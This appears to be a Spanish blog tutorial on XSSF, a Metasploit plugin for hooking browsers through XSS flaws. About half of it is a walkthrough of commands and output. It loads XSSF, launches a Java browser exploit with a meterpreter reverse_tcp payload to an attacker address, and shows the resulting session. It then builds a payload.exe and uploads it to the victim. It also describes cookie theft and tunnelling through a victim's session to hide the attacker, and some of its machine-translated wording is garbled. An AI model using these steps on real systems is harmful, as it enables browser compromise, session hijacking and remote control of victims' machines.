XSSF - Cross Site Scripting Framework

El Cross-Site Scripting Framework (XSSF) es una herramienta de seguridad diseñada para convertir la tarea de encontrar una vulnerabilidad XSS de un manera mucho más sencilla. El proyecto tiene por objetivo demostrar los peligros reales de las vulnerabilidades XSS y divulgarizar su explotación.

XSSF permite la creación de un canal de comunicación con el navegador específica (de una vulnerabilidad XSS) con el fin de realizar nuevos ataques. Los usuarios son libres de seleccionar los módulos existentes (un módulo = un ataque) con el fin de orientar los navegadores específicos.

Xssf Framework permite administrar victimas de ataques XSS genéricos y persiste una conexión con dichas victimas por medio de un “loop” en javascript, el cual se encarga de enviar peticiones reversas en intervalos definidos de tiempo con el fin de ejecutar exploits contra la victima.


Para usar xssf en metasploit es necesario localizar una aplicación vulnerable a ataques XSS, para probar y mejorar habilidades en el campo de la seguridad en aplicaciones web, existe un proyecto llamado DVWA (Damn Vulnerable Web Application), se trata de una aplicación escrita en PHP y MySQL que tiene habilitadas una serie de vulnerabilidades que permite a un profesional en seguridad, interactuar con la aplicación y comprender mejor los posibles ataques que pueden llevarse a cabo en aplicaciones web.
XSSF proporciona una potente API documentado, lo que facilita el desarrollo de módulos y ataques. Además, su integración en el Metasploit Framework permite a los usuarios iniciar el navegador basado MSF easilly explotar una vulnerabilidad de XSS.

La explotación de un fallo XSS dentro del navegador de la víctima podría ser la de mirar la página web en el navegador del atacante, utilizando la sesión de la víctima conectada. En la mayoría de los casos, simplemente robar la cookie víctima será suficiente para realizar esta acción. 

Sin embargo, en pocos casos (intranet, red Herramientas portales, etc), la cookie no será útil para un atacante externo. Es por eso que XSSF túnnel fue creado para ayudar al atacante a ayudar a la navegación atacante en dominio afectado utilizando la sesión de la víctima.

Con XSS podemos crear un túnel que nos permitirá conectarnos a nuestra víctima desde un navegador web, la idea básica, esta en crear un túnel que sirva de proxy para establecer la comunicación entre la aplicación con la vulnerabilidad XSS explotada y el atacante pasando por medio de la victima, de esta forma es posible ejecutar algún tipo de ataque adicional sin revelar la identidad del atacante y utilizando la identidad de la victima.

La nueva versión MSF 4.6.0-dev es soportada por:
  1. Backtrack 5R3
  2. Ubuntu 12.04
  3. Kali 1.0 
  4. Windows 7



Vulnerabilidades XSS (Cross Site Scripting )
  • Cross Site Scripting InDirecto (Reflejado) Reflective XSS
  • Cross Site Scripting Directo (Persistente) 


Manual con ejemplos "XSS for fun and profit"

Permite:

  • Robar Cookies
  • Ejecutar comandos (vía Javascript)
  • Ejecutar ataques Denegación de Servicio (DDoS)


XSSF con Metasploit

msfupdate
cd /opt/metasploit/apps/pro/msf3
svn export http:/xssf.googlecode.com/svn/trunk ./ --force
msfconsole


msf > load xssf Port=80
msf > help xssf


    Resultado de los comandos disponibles:
  1. xssf_active_victims Muestra víctimas activas.
  2. xssf_add_auto_attack Añade un nuevo ataque automatizado (lanzado de forma automática en la conexión de la víctima).
  3. xssf_auto_attacks Muestra XSSF ataques automatizados.
  4. xssf_banner Prints Marco XSS bandera !
  5. xssf_clean_victims Limpia víctimas en la base de datos ( eliminar ataques de espera).
  6. xssf_exploit Lanza e introduce un módulo (que se ejecuta en uno de sus procesos ) en una víctima determinada.
  7. xssf_information Muestra información sobre una víctima determinada.
  8. xssf_log Muestra registro con un ID dado.
  9. xssf_logs Muestra los registros sobre una víctima determinada.
  10. xssf_remove_auto_attack Elimina un ataque automatizado.
  11. xssf_remove_victims Elimina las víctimas en la base de datos.
  12. xssf_restore_state Restaura el estado XSSF (víctimas , registros , etc) a partir del archivo de entrada.
  13. xssf_save_state Guarda estatales XSSF (víctimas , registros , etc) en el archivo de salida.
  14. xssf_servers Muestra todos los servidores de ataque utilizados.
  15. xssf_tunnel Nos proporciona un túnel entre agresor y víctima.
  16. xssf_urls Enumera las direcciones URL's disponibles útiles proporcionadas por XSSF.
  17. xssf_victims Muestra todas las víctimas 


Ejemplo de una víctima que utiliza Internet Explorer 7 y una versión vulnerable de Java en Windows XP.


xssf_victims
1 1 192.168.0.12 true 5 Internet Explorer 7.0 YES
xssf_information 1
[..] 
BROWSER NAME : Internet Explorer
BROWSER VERSION : 7.0
OS NAME : Windows
OS VERSION : XP
ARCHITECTURE : ARCH_X86 
[..]



use exploit/multi/browser/java_atomicreferencearray
set PAYLOAD java/meterpreter/reverse_tcp
set SRVHOST 192.168.23.200
set URIPATH xssf
set LHOST 192.168.23.200
exploit -j
jobs

Jobs
====
Id Name
– —-
0 Exploit: multi/browser/java_atomicreferencearray


xssf_exploit 1 0
[*] Searching Metasploit launched module with JobID = ’0′…
[+] A running exploit exists: ‘Exploit: multi/browser/java_atomicreferencearray’
[*] Exploit execution started, press [CTRL + C] to stop it !
[+] Remaining victims to attack: [[1] (1)]
[+] Code ‘Exploit: multi/browser/java_atomicreferencearray’ sent to victim ’1′
[+] Remaining victims to attack: NONE


show sessions
Active sessions===============
Id Type Information Connection
– —- ———– ———-
1 meterpreter java/java victime @ Victim-PC 192.168.23.200:4444 -> 192.168.23.12:3128 (192.168.23.12)


ruby msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.23.200 LPORT=5555 X > payload.exe

use exploit/multi/handler
exploit -j

upload /opt/metasploit/apps/pro/msf3/payload.exe c:
background

sessions -i 1
XSSF - Cross Site Scripting Framework XSSF - Cross Site Scripting Framework Reviewed by PDFREEBOOK on 14:48 Rating: 5